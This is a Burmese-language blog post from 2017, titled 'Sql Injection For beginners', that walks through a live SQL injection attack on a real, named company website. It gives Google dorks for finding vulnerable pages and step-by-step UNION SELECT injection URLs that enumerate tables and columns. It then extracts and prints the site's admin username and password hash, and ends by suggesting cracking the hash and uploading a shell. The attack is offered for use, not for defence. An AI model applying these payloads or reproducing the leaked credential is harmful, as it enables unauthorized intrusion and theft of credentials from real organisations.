Monday, June 5, 2017

Sql Injection For beginners

Posted by Mg Kyaw Thet  |  at  June 05, 2017





SQL injection ေလ့လာေနတဲ့ newbies ေတြအတြက္ပါ ၊ sqli thread ေတြထဲမွာ beginners ေတြအတြက္မရွိဘူးဆိုလို့ biggrin အရင္ဆံုး ဒါေလး ကိုအရင္သြားဖတ္ထားရင္ပိုနားလည္မယ္ထင္ပါတယ္ biggrin

SQLi vul ျဖစ္ေနတဲ့ဆိုဒ္ေတြကိုဘယ္လိုရွာမလဲ ? လြယ္ပါတယ္ Dorks ေတြနဲ့ရွာမွာေပါ့ ၊
Dorks ေတြကိုေတာ့ ဒီမွာသြားယူလိုက္ပါ biggrin
________________________________________________________________________________

Code:

prod_detail.php?id=
viewphoto.php?id=
view.php?id=
website.php?id=
hosting_info.php?id=
gery.php?id=
detail.php?ID=
publications.php?id=
Productinfo.php?id=
releases.php?id=
ray.php?id=
__________________________________________________________________________________


ကဲဟုတ္ဘီ ၊ ျကိုက္တဲ့ dorks ေလးတခုေရြးပီး google မွာရွာလိုက္ပါ ၊ က်ေတာ္ကေတာ့ Productinfo.php?id= ဆိုတာေလးေရြးလိုက္ပါတယ္ biggrin

က်လာတဲ့ results ေတြကေတာ့အမ်ားျကီးပါ ၊ ဆိုဒ္တိုင္းကေတာ့ေပါက္ေနမွာမဟုတ္ပါဘူး biggrin
အေနာ္ကေတာ့ www.toprange.com.tw/en/productinfo.php?id=52‎ ဆိုတဲ့ဆိုဒ္ေလးကိုေရြးလိုက္ပါသည္ ။
sqli ေပါက္လားစစ္ဖို့ "'" ေလးထည့္လိုက္ပါတယ္ ၊
ဥပမာ>>> www.toprange.com.tw/en/productinfo.php?id=52‎'😜😜  bingo piratepirate ေပါက္ေနပါတယ္ hehe


အိုေက ေကာ္လံဘယ္ေလာက္ရွိလဲသိရေအာင္ order by ေလးနဲ့စစ္ရေအာင္ ၊
http://www.toprange.com.tw/en/productinfo.php?id=52 order by 13--
[Image: QITvxfK.png]

Unknown column '13'in'order clause'  

ေကာ္လံက 13 ခုမရွိပါဘူးခင္ဗ် 
http://www.toprange.com.tw/en/productinfo.php?id=52 order by 12--
12 ဆိုေတာ့ ပံုမွန္အတိုင္းတက္လာပါတယ္ ၊ ေသခ်ာပါဘီ ေကာ္လံက 12 ခုရွိပါတယ္ pirate

ဆက္ဆြဲျကရေအာင္ biggrin ေကာ္လံေကာင့္သိပီဆိုေတာ့ ေပါက္ေနတဲ့ေကာ္လံကုိရွာပါမယ္ ၊
UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12--
အဲဒါေလးထည့္လိုက္ပါမယ္

ဒီေတာ့
www.toprange.com.tw/en/productinfo.php?id=-52 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12--

ID ေရွ့မွာ "-" ေလးထည့္ဖို့ေတာ့လိုပါတယ္ ၊ အေသးစိတ္ကိုေတာ့ က်ေတာ္အေပါ္မွာေပးထားတဲ့လင့္ခ္မွာေသခ်ာရွင္းထားပါတယ္ blackhat
အိုေက ေကာ္လံ 4 နဲ့ 5 မွာေပါက္ေနပါတယ္ pirate
ဒီေတာ့ version ေလးတခ်က္စစ္ျကည့္ပါမယ္ ၊ ေပါက္ေနတဲ့ ေကာ္လံ 4 မွာ @@version ေလးထည့္လိုက္ပါမယ္ biggrin
http://www.toprange.com.tw/en/productinfo.php?id=-52 UNION SELECT 1,2,3,@@version,5,6,7,8,9,10,11,12--


pirate
အိုေက version က 5 ေက်ာ္ပါတယ္ ၊ ဆက္ထိုးလို့ရပါဘီ ၊ version 4 ျဖစ္ခဲ့မယ္ဆိုရင္ေတာ့နည္းနည္းေတာ့အခက္ခဲရွိပါတယ္ . ေတဘယ္ေတြကိုခန့္မွန္းပီးထိုးရမွာမို့လို့ပါ ၊

version 5 ျဖစ္တဲ့အတြက္ group_concat နဲ့ေတဘယ္ေတြကိုဆြဲထုတ္လို့ရပါတယ္ ၊
အိုေကေပါက္ေနတဲ့ေကာ္လံမွာ group_concat(table_name) ဆိုတာေလးထည့္ ၊ ဘယ္ကေနဆြဲထုတ္မွာလဲဆိုတဲ့ from information_schema.tables where table_schema=database() ကိုေနာက္ဘက္မွာထည့္ေပးလိုက္ပါ ၊ဒီေနရာမွာ နည္းနည္းရွင္းျပပါမယ္ biggrin

Code:
group_concat=ေဒတာေတြကိုတခုတစည္းထဲထြက္လာေအာင္သံုးတာပါ
table_name=ကေတာ့ေတဘယ္နိမ္းပါ :D
from=ဘယ္ေနရာကေနဆြဲထုတ္မွာလဲဆိုတဲ့ command
information_schema.tables=ေဒတာေဘ့စ္ထဲမွာရွိတဲ့ေတဘယ္ေတြရဲ့ information
table_schema=ေဒတာေဘ့စ္ ထဲမွာရွိတဲ့ေတဘယ္ေတြကိုဆိုလိုတာပါ
database()=website ရဲ့  current database ပါ


http://www.toprange.com.tw/en/productinfo.php?id=-52 UNION SELECT 1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12 from information_schema.tables where table_schema=database()--


ေတဘယ္ေတြထြက္လာပါဘီ pirate စိတ္၀င္စာစရာအေကာင္းဆံုးကေတာ့ admin ေတဘယ္ေလးဘဲ heheအိုကီေကာ္လံေတြထပ္ထုတ္ပါမယ္ 

http://www.toprange.com.tw/en/productinfo.php?id=-52 UNION SELECT 1,2,3,group_concat(column_name),5,6,7,8,9,10,11,12 from information_schema.columns where table_name=0x61646d696e--

61646d696e ဆိုတာက admin ရဲ့ ့ Hex တန္ဖိုးေလးပါ ၊ Hex တန္ဖိုးျဖစ္တဲ့အတြက္ေရွ့က0xေလးကပ္ေပးလိုက္ပါ ၊ table name ကို hex ခ်ိန္းပီးမွထည့္ပါ ၊ မဟုတ္ရင္အလုပ္မလုပ္ပါဘူး ၊
hex တန္ဖိုးကို ဒီမွာ သြားေျပာင္းလို့ရပါတယ္ ၊

က်လာတဲ့ေကာ္လံေတြထဲက data ေတြကိုဆက္ထုတ္ပါမယ္ biggrinစိတ္၀င္စားဖို့ေကာင္းတာေလးေတြကေတာ့ admin,pwd ေလးေတြဘဲ hehe
group_concat(admin,0x3a,pwd)

0x3a ဆိုတာက : ေလးရဲ့ hex တန္ဖိုးပါ ၊ ျကာထဲမွာ : ေလးခံေပးလိုက္မွ name နဲ့ password ကြဲမွာပါ ၊

http://www.toprange.com.tw/en/productinfo.php?id=-52 UNION SELECT 1,2,3,group_concat(admin,0x3a,pwd),5,6,7,8,9,10,11,12 from admin--

ထြက္လာပါဘီခဗ် biggrin administrator:13fef0112906570090e672716a82100e
administrator
ကေတာ့ username ျဖစ္ပီး 13fef0112906570090e672716a82100e ကေတာ့ password ရဲ့ Hash တန္ဖိုးပါ pirate

က်န္တာကေတာ့ hash ျဖည္ admin page ရွာ shell တင္ေပါ့ေနာ္ devlish

Have fun marmeespiratepiratepirate
biggrin

Xai@km >>> 09400040884

Tagged as:
About the Author

Write admin description here..

0 comments:

Pray Time

Read Quran Online






back to top